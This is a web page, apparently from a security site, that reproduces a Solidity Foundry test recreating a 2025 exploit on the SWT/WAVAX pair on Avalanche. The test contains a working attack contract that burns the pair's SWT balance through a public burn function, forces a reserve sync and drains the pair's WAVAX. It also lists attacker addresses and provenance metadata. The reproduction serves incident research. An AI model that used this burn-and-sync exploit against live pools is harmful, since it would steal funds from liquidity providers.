Public reproduction file
src/test/2025-03/unverified_3f27_exp.sol
Public reproduction file for dataset entry unverified.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 0.40 WAVAX8// Attacker : 0x000000B2695002B00A7b8016f03c91284a22Ec059// Attack Contract : 0x92FE9F31E8C96e5C13E5f113FD6288d3a151410310// Vulnerable Contract : 0x3f274117f86808D7682BB313Fa31a1583c5028Aa11// Attack Tx : https://snowtrace.io/tx/0xd9e0d9b45f6a77415d9ec9458ad5f5616ded362da0e0f19b8f41f2bc0afae4b513// @Info14// Vulnerable Contract Code : https://snowtrace.io/address/0x3f274117f86808D7682BB313Fa31a1583c5028Aa#code16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/62418//19// Attack summary: The attacker deployed constructor code that wrapped 0.5 AVAX, bought 10 SWT from20// the SWT/WAVAX pair, burned almost all SWT held by the pair, forced a reserve sync, then swapped the21// 10 SWT back for nearly all pair-held WAVAX.22// Root cause: The unverified SWT token exposed public burn(address,uint256) behavior that could be23// applied to the liquidity pair balance before a normal pair sync, corrupting reserves and enabling a24// WAVAX drain.26address constant ATTACKER = 0x000000B2695002B00A7b8016f03c91284a22Ec05;27address constant ATTACK_CONTRACT = 0x92FE9F31E8C96e5C13E5f113FD6288d3a1514103;28address constant VULNERABLE_CONTRACT = 0x3f274117f86808D7682BB313Fa31a1583c5028Aa;29address constant SWT_WAVAX_PAIR = 0x823409261D7c74CcC63485f5488bDc25833Fc5CF;30address constant WAVAX = 0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7;32interface ISWT is IERC20 {33 function burn(address from, uint256 amount) external;34}36interface IUniswapV2PairWithSync is IUniswapV2Pair {37 function sync() external;38}40contract ContractTest is BaseTestWithBalanceLog {41 ISWT private constant swt = ISWT(VULNERABLE_CONTRACT);42 IWETH private constant wavax = IWETH(payable(WAVAX));43 IUniswapV2PairWithSync private constant pair = IUniswapV2PairWithSync(SWT_WAVAX_PAIR);45 function setUp() public {46 uint256 forkBlock = 58_875_928;47 vm.createSelectFork("avalanche", forkBlock);48 fundingToken = address(0);49 attacker = ATTACKER;51 vm.label(ATTACKER, "Attacker");52 vm.label(ATTACK_CONTRACT, "Attack Contract");53 vm.label(VULNERABLE_CONTRACT, "SWT");54 vm.label(SWT_WAVAX_PAIR, "SWT/WAVAX Pair");55 vm.label(WAVAX, "WAVAX");56 }58 function testExploit() public balanceLog {59 uint256 seedAmount = 0.5 ether;60 uint256 attackerBalanceBeforeFunding = ATTACKER.balance;61 uint256 pairWavaxBefore = wavax.balanceOf(SWT_WAVAX_PAIR);63 // step 1: provide the same seed capital used by the attack transaction.64 vm.deal(ATTACKER, seedAmount);66 // step 2: deploy the constructor-based exploit while tx.origin is the attacker.67 vm.startPrank(ATTACKER, ATTACKER);68 new BurnSyncExploit{value: seedAmount}();69 vm.stopPrank();71 // step 3: prove the pair-held WAVAX reserve was drained to dust and the attacker kept profit.72 uint256 pairWavaxAfter = wavax.balanceOf(SWT_WAVAX_PAIR);73 uint256 attackerProfit = ATTACKER.balance - attackerBalanceBeforeFunding - seedAmount;74 assertEq(pairWavaxAfter, 1);75 assertGt(pairWavaxBefore, pairWavaxAfter);76 assertGt(attackerProfit, 0.39 ether);77 }78}80contract BurnSyncExploit {81 ISWT private constant swt = ISWT(VULNERABLE_CONTRACT);82 IWETH private constant wavax = IWETH(payable(WAVAX));83 IUniswapV2PairWithSync private constant pair = IUniswapV2PairWithSync(SWT_WAVAX_PAIR);85 constructor() payable {86 require(tx.origin == ATTACKER, "b0");88 // step 1: convert the seed AVAX into pair input liquidity.89 wavax.deposit{value: msg.value}();90 wavax.transfer(SWT_WAVAX_PAIR, msg.value);92 // step 2: receive 10 SWT from the pair.93 uint256 swtAmount = 10 ether;94 pair.swap(swtAmount, 0, address(this), "");96 // step 3: burn the pair's SWT balance down to one unit and force reserve synchronization.97 uint256 pairSwtBalance = swt.balanceOf(SWT_WAVAX_PAIR);98 swt.burn(SWT_WAVAX_PAIR, pairSwtBalance - 1);99 pair.sync();101 // step 4: return the SWT and drain all but one wei of the pair's WAVAX balance.102 swt.transfer(SWT_WAVAX_PAIR, swtAmount);103 uint256 wavaxOut = wavax.balanceOf(SWT_WAVAX_PAIR) - 1;104 pair.swap(0, wavaxOut, address(this), "");106 // step 5: unwrap WAVAX and forward native AVAX to the deployer.107 wavax.withdraw(wavax.balanceOf(address(this)));108 require(address(this).balance > msg.value, "b1");109 selfdestruct(payable(msg.sender));110 }111}Analysis
Dataset entry
Public Foundry test for “unverified” (2025-03-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-03/Alkimiya_io_exp.solSame month in the dataset · 145 lines
- src/test/2025-03/BBXToken_exp.solSame month in the dataset · 128 lines
- src/test/2025-03/DCFToken_exp.solSame month in the dataset · 184 lines
- src/test/2025-03/DUCKVADER_exp.solSame month in the dataset · 82 lines
- src/test/2025-03/H2O_exp.solSame month in the dataset · 163 lines
- src/test/2025-03/LeverageSIR_exp.solSame month in the dataset · 258 lines
- src/test/2025-03/PTM_exp.solSame month in the dataset · 103 lines
- src/test/2025-03/Pump_exp.solSame month in the dataset · 130 lines
- src/test/2025-03/RnsPay_exp.solSame month in the dataset · 157 lines
- src/test/2025-03/SBRToken_exp.solSame month in the dataset · 80 lines
- src/test/2025-03/StackMarket_exp.solSame month in the dataset · 136 lines
- src/test/2025-03/UNI_exp.solSame month in the dataset · 111 lines
- src/test/2025-03/unverified_de7c_exp.solSame month in the dataset · 129 lines
- src/test/2025-03/wKeyDAO_exp.solSame month in the dataset · 160 lines
- src/test/2025-03/YziAIToken_exp.solSame month in the dataset · 69 lines
- src/test/2025-03/ZeroExSettler_exp.solSame month in the dataset · 110 lines
- src/test/2026-03/unverified_237d_exp.solSame protocol or name in the dataset · 162 lines
- src/test/2026-03/unverified_1304_exp.solSame protocol or name in the dataset · 178 lines
- src/test/2025-08/unverified_d132_exp.solSame protocol or name in the dataset · 207 lines
- src/test/2025-07/unverified_8fd3_exp.solSame protocol or name in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame protocol or name in the dataset · 77 lines
- src/test/2025-04/Unverified_6077_exp.solSame protocol or name in the dataset · 99 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x000000b2695002b00a7b8016f03c91284a22ec05
- Attack Contract
0x92fe9f31e8c96e5c13e5f113fd6288d3a1514103
- Vulnerable Contract
0x3f274117f86808d7682bb313fa31a1583c5028aa
- Attack Tx
0xd9e0d9b45f6a77415d9ec9458ad5f5616ded362da0e0f19b8f41f2bc0afae4b5
File record
- Name
- unverified
- Path
- src/test/2025-03/unverified_3f27_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 26df37513422ade33850b02baff1566fb57fb943
- Language
- Solidity
- Size
- 112 lines
- Date
- 2025-03-18
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-03/unverified_3f27_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 26df37513422ade33850b02baff1566fb57fb943, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.